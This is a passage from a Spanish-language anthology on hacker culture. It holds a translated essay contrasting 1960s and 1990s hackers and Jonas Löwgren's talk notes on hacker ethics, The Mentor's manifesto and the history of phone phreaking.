reccionales y multidireccionales entre colectivos de enunciación
postmediática, que infectarían el sistema televisivo centralizado y sacu-
dirían y desestructurarían todas las formas de tipo estatal y de tipo eco-
nómico.

Según Bifo, esta utopía se encarnó en la tecnología, en la cultura, e
incluso en la empresa. En el transcurso de los ‘90 se desarrolló el rizo-
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ma, pero fue infiltrado por el virus de tipo centralizado, jerarquizador.
El uso de la publicidad, del business, de la televisión en la red fueron
aspectos de esta infiltración. Las redes existen y están a disposición no
sólo de aquellos que creen en que esta forma de organización posibilita
la democratización radical, la descentralización de la información, la eli-
minación de las jerarquías y la posibilidad de una nueva forma de orga-
nización global que luche para el cambio social, sino que también el
enemigo es usuario y propagador de redes que alimentan el sistema.
Bifo entonces lo plantea como una guerra entre dos paradigmas: “es la
guerra entre el dominio y la libertad (...) en este sentido la utopía de
Guattari parece cada día desmentida y reafirmada por la perpetua diná-
mica del dominio y la libertad”.7

En Latinoamérica las redes que se construyen son bien difusas.
Hablar del concepto de red, en el sentido que se propone el concepto de
red primermundista, todavía es abordar la problemática casi a tientas.
La participación en la red de redes de Indymedia global, fue y sigue
siendo un aprendizaje cotidiano. Indymedia Argentina fue el nombre
del colectivo Buenos Aires durante más de 2 años, el cual editorializaba
y pretendía reflejar una realidad acabada del “país”. Luego de la apari-
ción de Rosario en julio de 2002, de la emergencia de temáticas específi-
cas como es el caso de la de Pueblos Originarios en agosto de 2002 y, ya
para mediados de 2003, con la aparición de gente interesada en armar
Indymedia en Santiago del Estero y La Plata (que nace recién en enero
de 2004 luego de hacer un proceso), Indymedia Buenos Aires cede el
lugar de página central y se convierte en una sección territorial de la
lista de secciones.

A partir de entonces hay una idea que recorre a todos los colectivos
que empiezan a formar parte de lo que se denomina “red Argentina” en
darle lugar a los diferentes colectivos, grupos, individuos de realizar
tareas específicas. 

Un ejemplo es el recién surgido colectivo de Medio Ambiente. Éste,
se concreta con el llamado a grupos, colectivos e individuos interesados
en la editorialización de la sección. Entonces se suman a la red no sólo
individuos interesados en el proyecto de contrainformación, sino tam-
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bién colectivos que trabajan la temática específica y que no encuentran
por ninguna otra vía la posibilidad que les brinda la herramienta
Indymedia para la difusión de la misma. El ejemplo es fractal, ya que es
posible que este colectivo comience a publicar y encuentre otros seme-
jantes que hacen lo mismo dentro del país, luego de la región y luego a
nivel global; y que formen parte de otras organizaciones que están en
constante movimiento y que necesiten a la comunicación alternativa
como medio para difundir y enriquecer el espectro de temático. Lo
mismo vale para Pueblos Originarios, Género, Contracultura o Video.

Indymedia en Argentina está tendiendo, cada vez más, a convertir-
se realmente en una herramienta utilizada por miles de personas, que
cada día encuentran en el sitio un lugar con información que permite
dar a conocer las luchas cotidianas cada vez más localmente y con emi-
sores cada vez más locales. 
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Este artículo es una mirada retrospectiva de
la “cultura hacker”, descripta a partir de

los nuevos estilos de hackers que aparecie-
ron en los ‘80.



Aparentemente, para la gente enamorada de la “vieja escuela” de
hackers, como Steven Levy o Clifford Stoll, hay una gran diferencia. De
hecho, no les perdonan a los hackers del “viejo estilo” del MIT/Stanford
que se hayan dejado ganar en los medios su honorable título a manos de
“esa gente”… para muchas personas, “hacker” quiere decir una clase de
personas de los ‘60, cierta “estirpe” de programadores que lanzó la
“revolución informática”, pero que parece que no anda más por esta
zona… de acuerdo a estos hackers de la “vieja escuela”, “hackear” sig-
nificaba voluntad de hacer accesible y abierta la tecnología, cierto amor
por la computadora que significaba que “preferían programar en vez de
dormir”. Significaba un deseo de crear belleza con las computadoras, de
liberar la información, de descentralizar el acceso a la comunicación…

Pero, ¿qué pasa con los nuevos “hackers”? Muchos de los “viejos”
hackers piensan que no merecen ese nombre, y prefieren llamarlos “cri-
minales informáticos”, “vándalos”, “crackers”, o golpeando bajo y
desde un sesgo generacional, “delincuentes juveniles”. Los medios usan
el término “hacker” para referirse a jóvenes talentosos, usuarios de
computadoras que usan sus modems para entrar sin autorización a
otros sistemas, muy parecido a como se describe en la película Juegos de
Guerra. Y a los hackers de la vieja escuela esto les molesta. La mayoría
de los hackers nuevos no saben programar; sólo son personas sin ética
que no tienen problemas en robar passwords, códigos, software u otra
información e intercambiarla con sus amigos. Podrán ser buenos explo-
tando las fallas de seguridad de los sistemas, pero lo único que logran
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Viejos hackers, nuevos hackers: 
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* “Old hackers, new hackers: What’s the difference?”. Traducción de Carlos Gradin.
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(dicen algunos como Stoll) es destruir la confianza sobre la cual se cons-
truyen las redes abiertas.

Me interesa, no necesito decirlo, el aspecto generacional de esta
batalla por el título de “hacker”. La mayoría de los viejos hackers de los
‘60 viven, desde ya, en los ‘90 –“Baby Boomers” que, como sus amigos ex-
hippies, pasaron de “freaks” a personas serias, consiguiendo empleo en
empresas de seguridad informática y megaindustrias del software. Y
como tantos que provienen de la contracultura, simplemente no entien-
den que esta Generación X sea la contracultura de los ‘90… ¿dónde
quedó la apertura? ¿el idealismo? Estos “delincuentes juveniles” no
viven según los altos standars morales de los nostálgicos de los ‘60 como
Levy y Stoll. Aunque, al fin y al cabo, Levy vocifera sobre aquellos gran-
des hackers que fundaron Apple Computers y lanzaron la revolución de
la PC –¡esos mismos ex-“phreakers”,1 Job y Wozniak, que de hecho per-
mitieron que su empresa sacara patentes de sus sistemas de hardware y
software!

Los “cyberpunks” de los ‘90, parece, no cumplen con lo que espe-
ran de ellos gente como Stoll y Levy. Y todos los viejos “hackers” hacen
malabares para marcar sus diferencias con la nueva camada de
“hackers”, quejándose cuando se les sigue aplicando el título. Yo sos-
tendría que los hackers de los ‘90 no son tan distintos de los hackers de
los ´60, que, de hecho, trabajan con los mismos impulsos exploratorios,
anti-autoritarios, liberadores; ocurre simplemente que los hackers de los
‘60 no comprenden la situación en que vivimos, y esto probablemente
es porque leen literatura hippie de los ‘60 en vez de ciencia ficción
cyberpunk de los ‘90… no comprenden por qué el nuevo “hacker” actúa
como actúa.

Para Levy, las diferencias entre los viejos y nuevos hackers son
grandes y evidentes. El primer grupo competía por crear, el segundo
compite por destruir y robar. El primer grupo amaba el control que
tenía sobre sus computadoras, el segundo grupo ama el control que las
computadoras les proporcionan sobre las personas. El primer grupo
siempre buscó mejorar y simplificar; el segundo grupo sólo se aprove-

1. En “phreakers” se combinan tres términos: “phone” (teléfono), “freak” (mons-
truo, criatura extraña) y “hacker”. Se refiere a hackers que se especializan en telé-
fonos y comunicaciones. (N. del T.)
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cha y manipula. El primer grupo hacía lo que hacía por un sentimiento
de verdad y belleza que hallaban en la actividad; el segundo grupo
“hackea” por beneficios y status. El primer grupo era comunitario y
muy unido, compartía siempre de manera abierta sus nuevas “hackea-
das” y descubrimientos; el segundo, dice Levy, es paranoico, margina-
do y se mueve en secreto. Para Levy, los viejos hackers eran magos de
las computadoras, pero los nuevos hackers son terroristas informáticos
en busca de nuevas formas de vandalismo electrónico o de bromas
maliciosas, que no se fijan en las consecuencias. 

Pero donde Levy ve diferencias, yo veo algunas semejanzas. Los
viejos hackers “a la antigua” del MIT eran bastante famosos por andar
manipulando cerraduras, en sus versiones tanto físicas como electróni-
cas. ¿Hay tanta diferencia entre la justa ira del hacker del MIT contra los
“sacerdotes” de IBM que lo mantenían alejado de las grandes centrales
[mainframes], y el hacker de los ‘90 que siente justa ira porque se le niega
el acceso a grandes bases de datos comerciales sin una costosa suscrip-
ción? Los antiguos hackers del MIT eran famosos también por su explo-
ración del sistema telefónico, y por buscar trucos para hacer llamadas
gratuitas a lugares extraños. De hecho, muchos de los primeros hackers
eran “phreakers” telefónicos, así de simple: se colaban en el sistema de
la compañía de teléfonos (“La” compañía, AT&T, alias Ma Bell en ese
entonces) y se ofendían porque ésta se negaba a compartir información
técnica sobre telefonía. 

Los hackers de los ‘60 eran famosos por su deseo de liberar la infor-
mación. Compartían abiertamente los códigos fuentes de sus progra-
mas; los miembros del Homebrew Computer Club [Club de Computado-
ras Caseras] también compartían las fallas de distintas computadoras, y
“trucos” para mejorar sus rendimientos. Como Levy parece pensar que
la piratería de programas no debería ser un delito (dado que piensa que
el código fuente no debería tener copyright), su problema con los nue-
vos “hackers” no es la piratería. Ni parece ser el hecho de que compar-
tan libremente cierta información del “mundo real” ciertamente peli-
grosa como el “Manual del Anarquista” sobre cómo hacer bombas y
drogas. Más bien, parece referirse a los delitos maliciosos de una mino-
ría pequeña, dedicada a desparramar Troyanos, bombas lógicas, virus,
gusanos y otros programas destructivos…

En la actualidad la mayoría de los virus (como el virus Christmas)
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son inofensivos. Ocupan porciones mínimas de la memoria, y están pro-
gramados no para borrar el disco rígido, sino para mostrar un mensaje
en un momento dado. Son “sutilezas” –algo que Levy dice que también
entusiasmaba a los hackers del MIT. Ellos se hicieron conocidos por rea-
lizar complejas bromas a otros, y eran maestros de la “ingeniería social”
–el arte de manipular tecnócratas siendo un artista del engaño– igual
que los hackers de los ‘90… sus elaborados juegos y “sutilezas” muchas
veces son maneras de demostrar su superioridad ante profesores, ope-
radores y otros “sabelotodos” de los que sienten que se interponen en
su acceso a las computadoras…

Al “invadir” los sistemas telefónicos de “correo de voz” de las
empresas, los hackers de los ‘90 no son disintos de los hackers del MIT
de los ‘60 que mapeaban el laberinto del sistema de túneles del subsue-
lo del MIT. Lo hacen por los mismos motivos: porque les dicen que no
lo hagan, porque los túneles muchas veces llevan a lugares sorprenden-
tes; porque la actividad es inofensiva incluso aunque se la declare no
permitida o incluso ilegal, y porque les brinda un sentimiento de des-
treza y dominio sobre un problema complejo. La verdad es que la mayo-
ría de los hackers de los ‘90 no son destructivos ni perversos descontro-
lados. De hecho, muchos suscriben a una Ética Hacker actualizada en
los ‘90, que sostiene que no van a “hackear” la privacidad de las perso-
nas ni a los usuarios de computadoras personales, declarando en cam-
bio que sus “objetivos” serán las corporaciones grandes e irresponsables
o las organizaciones burocráticas de los gobiernos…

Pero la razón básica de la diferencia entre los hackers de los ‘60 y los
‘90 es que éstos de la Generación X son una generación “post-punk”, de
ahí el término “cyberpunk”. Su música es un poco más rabiosa, y menos
idealista. Han visto morir al rock n´ roll, y vieron a Michael Bolton y
Whitney Houston tratar de revivir al muerto. Su mundo es un poco más
multicultural y complejo, y menos blanco-y-negro. Y es un mundo en el
que, si bien las computadoras pueden usarse para crear belleza, también
están usándose para destruir libertades y autonomía… por eso el con-
trol sobre las computadoras es un acto de defensa propia, no de simple
ansia de poder. El “hacking”, para algunos de los nuevos “hackers”, es
más que sólo un juego, o un medio de conseguir cosas sin pagar. Como
con la generación anterior, se ha convertido en un modo de vida, una
manera de definirse a sí mismos como sub-cultura…
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Muchos de ellos son deliberadamente “no-violentos” en sus ambi-
ciones. No van a impedirles a otros el acceso a sus cuentas, dañar o cam-
biar datos sin permiso, o hacer cualquier cosa que arriesgue el funcio-
namiento del sistema. En cambio, entran a sistemas informáticos para 1)
pasear y ver qué encuentran (¿si alguien se mete en tu casa, mira los afi-
ches de tu pared, después cierra la puerta y se va, cometió un crimen?)
2) ver a dónde pueden llegar desde donde están (¿qué conexiones se
pueden hacer?) 3) sacar ventaja de cualquier capacidad única de la
máquina a la que han accedido. Los hackers del MIT hacían todas estas
cosas y más con los diversos mainframes que se les “prohibía” usar y
explorar… cuestionaron el derecho de los tecnócratas a limitarles el
acceso, y abiertamente cuestionaron sus arbitrarias restricciones basa-
das en cálculos de rendimiento y tiempo de uso.

De hecho, los hackers de los ‘90 le rinden homenaje a la primera
generación. Adoptaron mucho de su argot y ciertamente muchas de sus
ideas. Su modus operandi, la PC, no estaría disponible para ellos sino
fuera porque los hackers de los ‘60 desafiaron el modelo de computa-
dora corporativa de IBM e hicieron realidad las computadoras persona-
les… su estilo, el uso de pseudónimos, su amor por la trasnoche y la
comida chatarra, son testimonios de la durabilidad y transmisión de la
cultura hacker de los ‘60. Entonces, ¿por qué son tan antagonistas y
agresivos con los nuevos hackers de los ‘90 los biógrafos de los hackers
de los ‘60? ¿Sienten alguna especie de traición a la Ética Hacker original
y a sus imperativos? ¿Es sólo la negativa clásica a pasarle la antorcha a
una nueva generación?

Meterse en el nodo principal de una red UNIX o en el sistema admi-
nistrador de una red VAX requiere pensamiento ágil y programación
compleja. Suele requerir conocimientos de los diversos “baches” del sis-
tema y de trucos astutos que pueden realizarse con su código. Suele
requerir maneras poco ortodoxas de usar los programas. En suma,
requiere “hackear” en el mejor y más antiguo sentido del término. Al
hacerlo, muchos hackers de los ‘90 buscan ampliar sus conocimientos
sobre un sistema y sus posibilidades, no sabotear los esfuerzos de otros
o arruinar su funcionamiento. Los “phreakers”, al “hackear” el sistema
telefónico, participan de la tradición de varios siglos de activistas norte-
americanos que siempre desafiaron los modos en que las corporaciones
y las agencias gubernamentales impiden que las personas se asocien
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libremente… desafían la noción de que “tender la mano y encontrar a
alguien” debe ser un privilegio costoso en lugar de un derecho.

Algún día, los viejos “hackers” y los nuevos quizás se encuentren y
discutan lo que tienen en común, en lugar de las diferencias. Quizás se
den cuenta de que comparten una misma alienación respecto del siste-
ma actual. Podrían hallar que tienen principios y motivaciones comu-
nes. Más importante, podrían dejar de competir entre sí por una inves-
tidura o un título. Los viejos hackers podrían analizar los modos en los
que fracasó su visión contracultural en dar cuenta de las nuevas reali-
dades, y podrían aportar un sentido de lo colectivo a los nuevos
hackers, muchas veces trepadores y amantes del estrellato. Si efectiva-
mente trabajaran juntos, esto podría implicar aquello que Bruce Sterling
llama “el Fin de los Amateurs”. ¿Y el inicio de la “Revolución
Informática”?
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Introducción

El título de esta charla es “Cultura(s) hacker”, no “Cultura hacker”.
Como veremos, el cuadro es bastante complejo. Tan complejo, quizás,
como para hablar de culturas en lugar de cultura.

Por otra parte, los rasgos comunes que comparten los miembros de
la(s) cultura(s) hacker y sus comunidades son bastante claros y marca-
dos.

Las siguientes páginas proveen notas para la charla, en un intento
de captar la heterogeneidad de la(s) cultura(s) hacker así como sus ras-
gos comunes. Pero primero, ¿cómo se define el término “hacker”?

hacker /s./
[originalmente, alguien que fabrica muebles con un hacha] 1. Per-

sona que disfruta explorando los detalles de los sistemas programables
y cómo expandir sus capacidades, en oposición a la mayoría de los
usuarios, que prefieren aprender lo mínimo necesario. 2. Persona que
programa entusiastamente (incluso obsesivamente) o que disfruta de
programar antes que limitarse a teorizar sobre la programación. 3. Una
persona capaz de apreciar el valor de una “hackeada”. 4. Una persona
que es diestra programando a gran velocidad. 5. Un experto en un pro-
grama particular, o alguien que trabaja frecuentemente con él o hacién-
dole modificaciones; tal como en “un hacker de Unix”. (Las definicio-
nes 1 a 5 son correlativas, y la gente que participa de ellas tiende a con-
gregarse.) 6. Un experto o entusiasta de cualquier tipo. Alguien puede

Cultura(s) hacker*
Jonas Löwgren

* “Hacker’s culture(s)”. Traducción de Carlos Gradin.
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ser un hacker astrónomo, por ejemplo. 7. Alguien que disfruta con el
desafío intelectual de superar o evitar creativamente las limitaciones. 8.
(con valor despectivo) Un merodeador malicioso que trata de descubrir
información valiosa revisando sitios privados. (ej. “hacker de
passwords”, “hacker de redes”). El término correcto para esta acepción
es cracker.

El término “hacker” también tiende a connotar pertenencia a la
comunidad global definida por la red. También implica que la persona
descripta subscribe, en principio, a alguna versión de la ética hacker.

Es mejor ser descrito por otros como hacker que describirse así uno
mismo. Los hackers se consideran a sí mismos una especie de elite (una
meritocracia basada en la destreza), aunque es una elite en la que los
nuevos miembros son alegremente recibidos. Hay por lo tanto cierta
satisfacción del ego en que uno sea identificado como hacker; pero si
usted afirma ser uno y no lo es, será rápidamente catalogado como
fraude [bogus].

New Hacker´s Dictionary, editado por Eric S. Raymond.1

Ética hacker tradicional

Una manera de caracterizar los rasgos comunes de la(s) cultura(s)
hacker es describir una plataforma ética compartida. La ética hacker fue
resumida en su forma más influyente por Stephen Levy en Hackers:
Heroes of the Computer Revolution (New York, Bantam books, 1984).
Desde entonces fue citada y difundida extensamente.

1. El acceso a las computadoras –y a cualquier cosa que pueda enseñar-
te algo acerca de cómo funciona el mundo– debe ser ilimitado y total.
¡Siempre apégate al imperativo manos a la obra!

El “imperativo manos a la obra” se interpreta generalmente tanto
técnica como socialmente. Si tú quieres que el editor de un texto intere-
sante ofrezca una versión WAP para leer (on-line), por ejemplo, no le
reclames al editor. Aprende XML, escribe tu propio convertidor y publí-

1. http://www.hack.gr/jargon/ (hay versión en papel: The New Hacker’s Dictionary.
Cambridge, MIT Press, 1996). (N. del. E.)



calo para que otros lo usen y lo mejoren (en el espíritu de la información
libre, más abajo).

De igual manera, si tú quieres cambios en la sociedad, no te quejes,
actúa. Una interpretación fuerte podría apuntar al activismo político
más allá de los límites de la ley pública.

2. Toda información debe ser libre.

Una analogía cercana podría ser la posición del cacique indio Toro
Sentado respecto a la colonización del continente norteamericano: “La
tierra no puede tener dueños”.

La idea de la información libre va en contra de la mayoría de las
concepciones de copyright y software propietario. Un buen ejemplo es
la política de copyleft de la Fundación Software Libre [Free Software
Foundation]. El siguiente extracto está tomado de la introducción a la
(muy detallada) Licencia Pública General de GNU [General Public
License, GNU-GPL], versión 2, 1991:

Las licencias para la mayor parte del software están diseñadas para
arrebatar su libertad de compartirlo y modificarlo. Por el contrario, la
Licencia Pública General GNU está destinada a garantizar su libertad
de compartir y modificar el software libre, garantizar que el software
sea libre para todos los que lo usen. Esta Licencia Pública General com-
prende a la mayor parte del software de la Fundación Software Libre y
a cualquier otro programa cuyos autores se decidan a emplearla.
(Algunos otros programas de la Fundación Software Libre subscriben,
en cambio, a la Licencia Pública General de la Biblioteca GNU [GNU
Library General Public License]. Ud. también puede subscribir a ella sus
programas.

Existen sutiles diferencias entre el software libre y el concepto, más
difundido actualmente, de código abierto. El software libre en la versión
de Richard Stallman es una visión profunda sobre la libertad, la comu-
nidad, la cooperación y la emancipación en la sociedad ideal. El código
abierto se concentra más en la eficiencia y la co-existencia con modelos
contemporáneos de negocios. Sin embargo, ambos pueden coexistir: lo
que hoy se conoce como Linux debería llamarse, si queremos ser estric-
tos, GNU/Linux, dado que gran parte del software incluido en la distri-
bución de Linux proviene del proyecto GNU.
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3. Desconfía de la autoridad –promueve la descentralización.

Un tema que atraviesa las culturas hacker es el de discutir en base
a fuentes primarias: hechos e información que deben estar accesibles de
manera igualitaria. La autoridad en este contexto se asocia con sustituir
el poder por información.

Un ejemplo reciente es el debate concerniente a los documentos
secretos de La Iglesia de Cientología. Cuando algunos de los documen-
tos fueron entregados al dominio público al formar parte de un caso lle-
vado a juicio en EE.UU., fueron inmediatamente copiados y difundidos
en miles de sitios en Internet. Mayormente por hackers o personas vin-
culadas a la(s) cultura(s) hacker. 

Operation Clambake (http://www.xenu.com/) es un gran sitio de
Noruega dedicado a echar tanta luz como sea posible sobre La Iglesia de
Cientología. En la presentación se afirma:

La Iglesia de Cientología está utilizando las leyes de copyright para
rehusar información al público. ¿Están haciendo esto por motivos
honestos o deshonestos? En caso de duda hay una manera de averi-
guarlo. Esta es, publicar su material. No extractos sino en algunos casos
su versión completa, para que no pueda discutirse que se cita fuera de
contexto o se mal interpreta lo que está escrito.

Yo, Andreas Heldal-Lund, he revisado los materiales secretos de la
Cientología y luego de cuidadosa consideración llegué a la conclusión
de que estos materiales son mantenidos en secreto con el fin de rehusar
información al público con el solo propósito de engañarlo acerca de la
verdadera naturaleza de la Cientología. Mi convicción es que el conte-
nido de este material reivindicará claramente mis acciones.

4. Los hackers deben ser juzgados por sus acciones, no por falsos crite-
rios como títulos, edad, raza o posición.

Las culturas hacker son meritocracias donde las posiciones se basan
en el conocimiento y los logros demostrados. Esto queda bien ilustrado
en el texto que sigue, aparecido en Phrack,2 número 7
(http://www.phrack.org/phrack/7/P07-03):

2. Publicación digital de hacking/phreaking/cracking editada desde 1985. En ella
participaron muchos de los hackers más famosos de EE.UU. (N. del T.)
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Lo que sigue fue escrito poco después de mi arresto...

\/\La consciencia de un Hacker\/\
por +++The Mentor+++
Escrito el 8 de enero de 1986

Hoy atraparon a otro, está todo en los diarios. “Adolescente arresta-
do en Escándalo de Crimen Informático”, “Hacker arrestado luego de
Violar Banco”...

Malditos pibes. Son todos iguales.
Pero vos, con tu psicología barata y tus tecno-visiones de la década

del ‘50, ¿alguna vez miraste tras los ojos del hacker? ¿Alguna vez te
preguntaste qué lo hacía funcionar, qué fuerzas le dieron forma, qué
pudo moldearlo?

Yo soy un hacker, entrá en mi mundo…
Mi mundo empieza en la escuela... Soy más inteligente que la mayo-

ría de los otros chicos, esta basura que nos enseñan me aburre... Malas
notas: maldito pibe. Son todos iguales.

Estoy en el secundario. Ya escuché por decimoquinta vez a los pro-
fesores explicar cómo reducir una fracción. Lo entiendo. “No, Giménez,
no le muestro mi trabajo. Lo hice mentalmente…”. Maldito pibe.
Seguro se lo copió. Son todos iguales.

Hoy descubrí algo. Encontré una computadora. Pará un minuto,
esto está bueno. Hace lo que yo quiero que haga. Si comete un error es
porque yo me equivoqué. 

No porque no le caiga bien…
O se sienta amenazada por mí…
O piense que me la creo…
O no le guste dar clases y no tendría que estar aquí…
Maldito pibe. Se la pasa con los jueguitos. Son todos iguales.
Y entonces, sucedió... una puerta abrió a un mundo... corriendo por

la línea de teléfono como heroína por las venas de un adicto, un pulso
electrónico es emitido, tras un refugio de la incompetencia diaria...
alguien encuentra un BBS.3

3. BBS (Bulletin Board System): una computadora conectada a una línea de teléfono,
que sirve como lugar de encuentro para intercambiar mensajes y archivos entre
varios usuarios; de ahí su nombre, “buletin board” o “panel de mensajes”. Era la
forma de comunicación más extendida entre computadoras antes de internet.
Muchos grupos de hackers funcionaban en torno a estos BBS. (N. del T.)
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“Esto es... acá pertenezco...”
Conozco a todos... incluso si nunca me los crucé, nunca les hablé, y

nunca vuelva a oír hablar de ellos... Los conozco...
Maldito pibe. Otra vez ocupando la línea de teléfono. Son todos

iguales...
Podés apostar el culo a que somos todos iguales... nos dieron de

comer papilla para bebés en la escuela cuando teníamos hambre de
carne... los pedazos que se les escaparon estaban pre-masticados y no
tenían sabor. Fuimos dominados por sádicos, o ignorados por apáticos.
Los pocos que tenían algo para enseñarnos se encontraron con alumnos
entusiastas, pero esos pocos son como gotas de agua en el desierto.

Ahora este es nuestro mundo... el mundo del interruptor y el elec-
trón, la belleza del baudio. Usamos un servicio que ya existía, sin pagar
por lo que no costaría casi nada si no estuviera en manos de glotones
ávidos de ganancias, y ustedes nos llaman criminales. Exploramos... y
ustedes nos llaman criminales. Buscamos conocimiento... y ustedes nos
llaman criminales. Existimos sin criterios de color, nacionalidad o reli-
gión... y ustedes nos llaman criminales. Ustedes fabrican bombas ató-
micas, organizan guerras, asesinan, manipulan y nos mienten para
hacernos creer que es por nuestro bien, y sin embargo nosotros somos
los criminales.

Sí, yo soy un criminal. Mi crimen es la curiosidad. Mi crimen es juz-
gar a las personas por lo que dicen y piensan, no por su aspecto. Mi cri-
men es superarlos en astucia, algo por lo que nunca me van a perdonar.

Soy un hacker, y este es mi manifiesto. Pueden detener a un indivi-
duo, pero no nos pueden detener a todos... al fin y al cabo, somos todos
iguales.

5. Se pueden crear arte y belleza con una computadora.

6. Las computadoras pueden cambiar la vida para mejor.

Las últimas dos líneas de la ética tradicional quizás no sorprendan
en la actualidad. Deben entenderse en su contexto histórico. En los ‘70
las computadoras eran extrañas y poco cercanas para la mayoría de las
personas. En caso de que significaran algo, se asociaban con procesa-
miento de datos administrativos, centros de cómputos, tarjetas perfora-
das y teletipos. Arte, belleza y cambios en la vida no se vinculaban con
la noción general de computadora.



Nueva ética hacker

Steve Mizrach, del Departamento de Antropología de la
Universidad de Florida, analizó varios textos recientes de hackers en el
trabajo “Is there a hacker ethic for 90s hackers?” [¿Existe una ética de los
hackers de los ‘90?] (1997). Mizrach resume sus conclusiones en un
nuevo conjunto de principios éticos.

Primero, no hagas daño.

No dañes computadoras o información si eso es posible. Similar a la
idea básica del Juramento Hipocrático.

El “hacking” es una búsqueda de conocimiento; no hay necesidad
intrínseca o deseo de destruir. Pero se asume en general que “crackear”
sistemas por diversión y para explorar es éticamente correcto mientras
el cracker no cometa robos, vandalismo, o vulnere la confidencialidad.
Sin embargo, ciertos accidentes e intrusiones que para los hackers pue-
den ser inofensivos pueden hacer que la víctima pierda tiempo y esfuer-
zo.

Protege la privacidad.

Esto está en consonancia con el ethos de la información libre al sepa-
rar la información pública de la privada. Por dónde se traza la línea es,
por supuesto, cuestión de visión personal (y política).

No derroches.

Los recursos informáticos no deben permanecer inactivos y des-
aprovechados. Utilizar recursos desaprovechados y quizás dejar suge-
rencias para mejorar su rendimiento está bien visto como favor.

Excede las limitaciones.

Para un hacker, decirle que algo no se puede hacer, se convierte en un
imperativo moral para intentarlo. 

El imperativo comunicacional.

Comunicarse y asociarse con pares es un derecho humano funda-
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mental. Para algunos importa tanto como para motivar violaciones de
leyes y regulaciones.

No dejes huellas.

No exhibirse en los lugares “hackeados” es útil más allá de la pro-
pia seguridad. También ayuda a otros hackers a evitar ser atrapados o
perder el acceso.

¡Comparte!

La información incrementa su valor al compartirse con otras perso-
nas. Los datos pueden ser una base de aprendizaje para algún otro; el
software puede mejorarse colectivamente.

Combate la ciber-tiranía.

El “hacking” es necesario para ayudar a proteger el mundo de des-
arrollos distópicos de sistemas globales de información à la 1984.

Confía, pero mantente alerta.

Siguiendo el imperativo de manos a la obra en sistemas técnicos y
sociales, tus descubrimientos pueden contribuir a mejorar los sistemas.

Orígenes de la(s) cultura(s) hacker

Habría al menos tres líneas de antecedentes que conducen a lo que
llamamos las actuales culturas hacker. Se trata de los aficionados
[hobbyists], los académicos [academics] y los ocupantes de las redes
[networkers].

El “hacking” como hobby se originó con los radioaficionados tem-
prano, en la década del ‘20. Un fuerte interés en la electrónica proveyó
el terreno fértil para las primeras computadoras hogareñas, como la
Altair 8800. Suecia tuvo desde temprano su flamante línea casera: la
ABC80 en 1978, seguida de la ABC800 en 1981.

Algunas de las computadoras hogareñas se vendían como kits para
armar, nutriendo la tradición de auténtico conocimiento de la tecnolo-
gía.

Computadoras para el hogar como la Commodore 64, que ofrecían
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gráficos a color y audio de calidad, atrajeron a amantes de los juegos y
programadores. “Crackear”4 la protección contra copia de los juegos se
convirtió en un modo natural de probar las destrezas y aptitudes técni-
cas. Los juegos “crackeados” necesitaban una pantalla vistosa donde el
cracker pudiera darse crédito por su trabajo. Esto derivó en la intro, una
producción multimedia en la que se exhibían destrezas técnicas y artís-
ticas. Hasta hace poco, se celebraban convenciones donde estas intro se
presentaban independizadas de los juegos que las habían originado.

El “hacking” académico se remonta generalmente al Instituto de
Tecnología de Massachusetts (MIT) donde el Club de Modelos de
Trenes desarrollaba complejos sistemas a escala en los ‘50. El término
“hack” se usaba para referir bromas o trucos basados en la tecnología.
Su significado pasó a ser la tecnología necesaria para ejecutar los trucos,
y finalmente cualquier solución técnica ingeniosa en general. 

El MIT lanzó un proyecto a principios de los ‘60 destinado a des-
arrollar una computadora de recursos compartidos. Este proyecto se
convirtió en el punto de partida del laboratorio de Inteligencia
Artificial, donde emergió la primera cultura hacker académica. Los
estudiantes se especializaban en matemáticas e inteligencia artificial y
pasaban treinta horas seguidas en sesiones de programación en lugar de
asistir a las clases regulares. Allí surgieron las ideas sobre la libertad de
la información. Muchos estudiantes aprendieron a burlar cerraduras
para poder aprovechar las máquinas de la Universidad. Howard
Rheingold recupera bien ese espíritu en Tools for thought (1985):

MIT, edificio 26, Proyecto MAC, 1960
En el momento en que David entró, un joven llamado Richard

Greenblatt, que vivía en base a una dieta típica de gaseosas y golosinas,
y que no se detenía a dormir, mucho menos a cambiar de ropa, le expli-
caba a un círculo de asombrados admiradores, que incluía a algunos de
los científicos informáticos que lo habían contratado, cómo él pretendía
escribir un programa que jugara al ajedrez con la habilidad suficiente
para vencer a un humano. El director de tesis de Greenblatt, Marvin
Minsky, trató de desanimarlo, diciéndole que había pocas esperanzas
de realizar avances en software que jugara al ajedrez.

4. “Crackear” aquí se refiere a desactivar la protección que incorporan los fabri-
cantes de software para impedir las copias de sus programas. (N. del T.)
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Seis años después de que apareciera por primera vez entre los habi-
tantes del edificio 26 ,... David Rodman... estuvo entre el grupo que
pudo ver al programa “MacHack” de Greenblatt demoler a Hubert
Dreyfuss, el crítico número uno de todo el proyecto de Inteligencia
Artificial, en un promocionado y altamente simbólico juego de aje-
drez.5

El “hacking” de redes se realizaba originariamente en las redes de
teléfonos. Los “phreakers”6 desarrollaron modos de surfear el sistema
telefónico, creando conexiones a través de docenas de interruptores y
países utilizando comandos de control que sólo se esperaba que cono-
ciesen las empresas telefónicas. Podían obtenerse llamadas gratuitas de
muchas maneras. Por ejemplo, en ciertas zonas, un tono directo de 2600
Hz de frecuencia significaba que la línea no estaba ocupada. Si uno tenía
una llamada en una línea y enviaba un tono de 2600 Hz por el tubo, la
empresa dejaba de facturar la llamada.

Algunos “phreakers” legendarios fueron Joe Engressia, que era
ciego y podía silbar los tonos de control con precisión perfecta, y
Capitán Crunch, que obtuvo ese nombre por su descubrimiento de que
el silbato que venía de regalo en la caja de cereales “¡Capitán Crunch!”
podía utilizarse para controlar los tonos.7 La mayoría de los
“phreakers”, sin embargo, se compraban o fabricaban generadores de
tonos simples llamados blue boxes. 

Gradualmente, las redes de computadoras comenzaron a desarro-
llarse. Las compañías de teléfono adoptaron interruptores controlados
por computadoras. El “hacking” de redes se mudó de las redes de telé-
fonos electromecánicas a las redes digitales de computadoras. Con una
terminal y un módem, un mundo nuevo se abría.

5. Howard Rheingold, Tools for thought (http://www.rheingold.com/texts/tft/). (Hay
versión en papel: Tools for thought: The History and Future of Mind-Expanding
Technology. Cambridge, MIT Press, 2000.) (N. del. E.)
6. Ver nota en p. 128.
7. Neal Stephenson le rinde homenaje en su novela Criptonomicón, en la escena en
que describe una compleja teoría del hacker Randy Waterhouse sobre las maneras
de comer cereales.



CULTURA(S) HACKER 145

Dimensiones de la(s) cultura(s) hacker

La(s) cultura(s) hacker actuales provienen del “hacking” de aficio-
nados [hobbyists], el “hacking” académico y el “hacking” de redes. Se
